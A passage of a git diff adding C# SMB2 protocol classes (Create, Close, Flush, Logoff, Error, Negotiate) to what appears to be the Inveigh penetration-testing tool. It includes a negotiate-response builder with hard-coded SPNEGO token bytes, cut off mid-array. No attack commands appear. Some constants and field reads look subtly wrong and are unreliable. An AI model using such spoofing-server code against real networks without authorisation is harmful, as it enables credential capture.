+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2CloseResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/c0c15c57-3f3e-452b-b51c-9cc650a13f7b
+ public ushort StructureSize { get; set; }
+ public byte[] Flags { get; set; }
+ public byte[] Reserved { get; set; }
+ public byte[] CreationTime { get; set; }
+ public byte[] LastAccessTime { get; set; }
+ public byte[] LastWriteTime { get; set; }
+ public byte[] ChangeTime { get; set; }
+ public byte[] AllocationSize { get; set; }
+ public byte[] EndofFile { get; set; }
+ public byte[] FileAttributes { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs
new file mode 100644
index 0000000..7fd4d42
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs
@@ -0,0 +1,120 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using Quiddity.SMB2;
+
+namespace Quiddity.SMB2
+{
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e8fb45c1-a03d-44ca-b7ae-47385cfd7997
+ enum RequestedOplockLevel : byte
+ {
+ SMB2_OPLOCK_LEVEL_NONE = 0x00,
+ SMB2_OPLOCK_LEVEL_II = 0x01,
+ SMB2_OPLOCK_LEVEL_EXCLUSIVE = 0x08,
+ SMB2_OPLOCK_LEVEL_BATCH = 0x09,
+ SMB2_OPLOCK_LEVEL_LEASE = 0xFF
+ }
+
+ enum ImpersonationLevel : uint
+ {
+ Anonymous = 0x00000000,
+ Identification = 0x00000001,
+ Impersonation = 0x00000002,
+ Delegate = 0x00000003
+ }
+
+ enum ShareAccess : uint
+ {
+ FILE_SHARE_READ = 0x00000000,
+ FILE_SHARE_WRITE = 0x0000002,
+ FILE_SHARE_DELETE = 0x00000004
+ }
+
+ enum CreateDisposition : uint
+ {
+ FILE_SUPERSEDE = 0x00000000,
+ FILE_OPEN = 0x0000001,
+ FILE_CREATE = 0x00000002,
+ FILE_OPEN_IF = 0x00000003,
+ FILE_OVERWRITE = 0x00000004,
+ FILE_OVERWRITE_IF = 0x00000005
+ }
+
+ enum CreateOptions : uint
+ {
+ FILE_DIRECTORY_FILE = 0x00000000,
+ FILE_WRITE_THROUGH = 0x0000001,
+ FILE_SEQUENTIAL_ONLY = 0x00000004,
+ FILE_NO_INTERMEDIATE_BUFFERING = 0x00000008,
+ FILE_SYNCHRONOUS_IO_ALERT = 0x00000010,
+ FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020,
+ FILE_NON_DIRECTORY_FILE = 0x00000040,
+ FILE_COMPLETE_IF_OPLOCKED = 0x00000100,
+ FILE_NO_EA_KNOWLEDGE = 0x00000200,
+ FILE_RANDOM_ACCESS = 0x00000800,
+ FILE_DELETE_ON_CLOSE = 0x00001000,
+ FILE_OPEN_BY_FILE_ID = 0x00002000,
+ FILE_OPEN_FOR_BACKUP_INTENT = 0x00004000,
+ FILE_NO_COMPRESSION = 0x00008000,
+ FILE_OPEN_REMOTE_INSTANCE = 0x00000400,
+ FILE_OPEN_REQUIRING_OPLOCK = 0x00010000,
+ FILE_DISALLOW_EXCLUSIVE = 0x00020000,
+ FILE_RESERVE_OPFILTER = 0x00100000,
+ FILE_OPEN_REPARSE_POINT = 0x00200000,
+ FILE_OPEN_NO_RECALL = 0x00400000,
+ FILE_OPEN_FOR_FREE_SPACE_QUERY = 0x00800000
+ }
+
+ class SMB2CreateRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e8fb45c1-a03d-44ca-b7ae-47385cfd7997
+ public ushort StructureSize { get; set; }
+ public byte Flags { get; set; }
+ public byte RequestedOplockLevel { get; set; }
+ public uint ImpersonationLevel { get; set; }
+ public byte[] SmbCreateFlags { get; set; }
+ public byte[] Reserved { get; set; }
+ public byte[] DesiredAccess { get; set; }
+ public byte[] FileAttributes { get; set; }
+ public uint ShareAccess { get; set; }
+ public uint CreateDisposition { get; set; }
+ public uint CreateOptions { get; set; }
+ public ushort NameOffset { get; set; }
+ public ushort NameLength { get; set; }
+ public uint CreateContextsOffset { get; set; }
+ public uint CreateContextsLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs
new file mode 100644
index 0000000..3d63d60
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs
@@ -0,0 +1,45 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ enum OplockLevel : uint
+ {
+ SMB2_OPLOCK_LEVEL_NONE = 0x00,
+ SMB2_OPLOCK_LEVEL_II = 0x01,
+ SMB2_OPLOCK_LEVEL_EXCLUSIVE = 0x08,
+ SMB2_OPLOCK_LEVEL_BATCH = 0x09,
+ SMB2_OPLOCK_LEVEL_LEASE = 0xFF
+ }
+
+ enum CreateAction : uint
+ {
+ FILE_SUPERSEDED = 0x00000000,
+ FILE_OPENED = 0x00000001,
+ FILE_CREATED = 0x00000002,
+ FILE_OVERWRITTEN = 0x00000003
+ }
+
+ class SMB2CreateResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/d166aa9e-0b53-410e-b35e-3933d8131927
+ public ushort StructureSize { get; set; }
+ public byte OplockLevel { get; set; }
+ public byte Flags { get; set; }
+ public uint CreateAction { get; set; }
+ public byte[] CreationTime { get; set; }
+ public byte[] LastAccessTime { get; set; }
+ public byte[] LastWriteTime { get; set; }
+ public byte[] ChangeTime { get; set; }
+ public byte[] AllocationSize { get; set; }
+ public byte[] EndofFile { get; set; }
+ public byte[] FileAttributes { get; set; }
+ public byte[] Reserved2 { get; set; }
+ public byte[] Field { get; set; }
+ public uint CreateContextsOffset { get; set; }
+ public uint CreateContextsLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs
new file mode 100644
index 0000000..02d66a4
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs
@@ -0,0 +1,48 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2ErrorResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/d4da8b67-c180-47e3-ba7a-d24214ac4aaa
+ public ushort StructureSize { get; set; }
+ public byte ErrorContextCount { get; set; }
+ public byte Reserved { get; set; }
+ public uint ByteCount { get; set; }
+ public byte[] ErrorData { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs
new file mode 100644
index 0000000..ead7b7a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs
@@ -0,0 +1,47 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2FlushRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e494678b-b1fc-44a0-b86e-8195acf74ad7
+ public ushort StructureSize { get; set; }
+ public ushort Reserved1 { get; set; }
+ public uint Reserved2 { get; set; }
+ public byte[] FileId { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs
new file mode 100644
index 0000000..cf48f1e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2flushResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/42f78e6a-e25f-48f5-8f08-b4f1bb4c4fa4
+ public ushort StructureSize { get; set; }
+ public ushort Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs
new file mode 100644
index 0000000..0ab01e9
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2LogoffRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/abdc4ea9-52df-480e-9a36-34f104797d2c
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs
new file mode 100644
index 0000000..b029745
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2LogoffResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/7539feb4-6fbb-4996-81ac-06863bb1a89e
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs
new file mode 100644
index 0000000..e79210a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs
@@ -0,0 +1,164 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using Quiddity.GSSAPI;
+using Quiddity.SPNEGO;
+using Quiddity.Support;
+
+namespace Quiddity.SMB2
+{
+ class SMB2NegotiateResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/63abf97c-0d09-47e2-88d6-6bfa552949a5
+ public ushort StructureSize { get; set; }
+ public ushort SecurityMode { get; set; }
+ public byte[] DialectRivision { get; set; }
+ public ushort NegotiateContextCount { get; set; }
+ public byte[] ServerGUID { get; set; }
+ public byte[] Capabilities { get; set; }
+ public uint MaxTransactSize { get; set; }
+ public uint MaxReadSize { get; set; }
+ public uint MaxWriteSize { get; set; }
+ public byte[] SystemTime { get; set; } // todo create type
+ public byte[] ServerStartTime { get; set; }
+ public ushort SecurityBufferOffset { get; set; }
+ public ushort SecurityBufferLength { get; set; }
+ public uint NegotiateContextOffset { get; set; }
+ public byte[] Buffer { get; set; }
+ public byte[] Padding { get; set; } // todo check
+ public byte[] NegotiateContextList { get; set; }
+
+ public SMB2NegotiateResponse()
+ {
+ this.StructureSize = 65;
+ this.SecurityMode = 1;
+ this.DialectRivision = new byte[2];
+ this.NegotiateContextCount = 0;
+ this.ServerGUID = new byte[16];
+ this.Capabilities = new byte[4];
+ this.MaxTransactSize = 8388608;
+ this.MaxReadSize = 8388608;
+ this.MaxWriteSize = 8388608;
+ this.SystemTime = BitConverter.GetBytes(DateTime.Now.ToFileTime()); ;
+ this.ServerStartTime = new byte[8];
+ this.SecurityBufferOffset = 128;
+ this.SecurityBufferLength = 320;
+ this.NegotiateContextOffset = 0;
+ this.Buffer = new byte[0];
+ this.Padding = new byte[0]; // todo check
+ this.NegotiateContextList = new byte[0];
+ }
+
+ public SMB2NegotiateResponse(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.StructureSize);
+ packetWriter.Write(this.SecurityMode);
+ packetWriter.Write(this.DialectRivision);
+ packetWriter.Write(this.NegotiateContextCount);
+ packetWriter.Write(this.ServerGUID);
+ packetWriter.Write(this.Capabilities);
+ packetWriter.Write(this.MaxTransactSize);
+ packetWriter.Write(this.MaxReadSize);
+ packetWriter.Write(this.MaxWriteSize);
+ packetWriter.Write(this.SystemTime);
+ packetWriter.Write(this.ServerStartTime);
+ packetWriter.Write(this.SecurityBufferOffset);
+ packetWriter.Write(this.SecurityBufferLength);
+ packetWriter.Write(this.NegotiateContextOffset);
+ packetWriter.Write(this.Buffer);
+
+ if (!Utilities.ArrayIsNullOrEmpty(NegotiateContextList))
+ {
+ packetWriter.Write(this.NegotiateContextList);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.StructureSize = packetReader.ReadUInt16();
+ this.SecurityMode = packetReader.ReadUInt16();
+ this.DialectRivision = packetReader.ReadBytes(2);
+ this.NegotiateContextCount = packetReader.ReadUInt16();
+ this.ServerGUID = packetReader.ReadBytes(16);
+ this.Capabilities = packetReader.ReadBytes(4);
+ this.MaxTransactSize = packetReader.ReadUInt32();
+ this.MaxReadSize = packetReader.ReadUInt16();
+ this.MaxWriteSize = packetReader.ReadUInt32();
+ this.SystemTime = packetReader.ReadBytes(8);
+ this.ServerStartTime = packetReader.ReadBytes(8);
+ this.SecurityBufferOffset = packetReader.ReadUInt16();
+ this.SecurityBufferLength = packetReader.ReadUInt16();
+ this.NegotiateContextOffset = packetReader.ReadUInt32();
+ this.Buffer = packetReader.ReadBytes(8);
+ }
+
+ }
+
+ public void EncodeBuffer()
+ {
+ GSSAPIInitSecContext gssapi = new GSSAPIInitSecContext();
+ SPNEGONegTokenInit spnego = new SPNEGONegTokenInit();
+ spnego.MechTypes = new byte[24] { 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x1e, 0x06, 0x0a, 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0a };
+ spnego.MechToken = new byte[264] { 0x4e, 0x45, 0x47, 0x4f, 0x45, 0x58, 0x54, 0x53, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x45, 0x42, 0x37, 0xe2, 0x9c, 0xec, 0xed, 0x6a, 0x73, 0x8a, 0x3e, 0x19, 0x27, 0xdc, 0xa0, 0xb0, 0x64, 0x56, 0x91, 0x92, 0xb4, 0x5c, 0x3d, 0x8d, 0xba, 0x32, 0xd3, 0xb1, 0x31, 0xbc, 0xab, 0x29, 0xfa, 0x47, 0x3d, 0xeb, 0x87, 0x6e, 0x53, 0xd7, 0x0c, 0x91, 0x91, 0xb1, 0xae, 0x9e, 0x6b, 0xd0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x33, 0x53, 0x0d, 0xea, 0xf9, 0x0d, 0x4d, 0xb2, 0xec, 0x4a, 0xe3, 0x78, 0x6e, 0xc3, 0x08, 0x4e, 0x45, 0x47, 0x4f, 0x45, 0x58, 0x54, 0x53, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x98, 0x00, 0x00, 0x00, 0x45, 0x42, 0x37, 0xe2, 0x9c, 0xec, 0xed, 0x6a, 0x73, 0x8a, 0x3e, 0x19, 0x27, 0xdc, 0xa0, 0xb0, 0x5c, 0x33, 0x53, 0x0d, 0xea, 0xf9, 0x0d, 0x4d, 0xb2, 0xec, 0x4a, 0xe3, 0x78, 0x6e, 0xc3, 0x08, 0x40, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x30, 0x56, 0xa0, 0x54, 0x30, 0x52, 0x30, 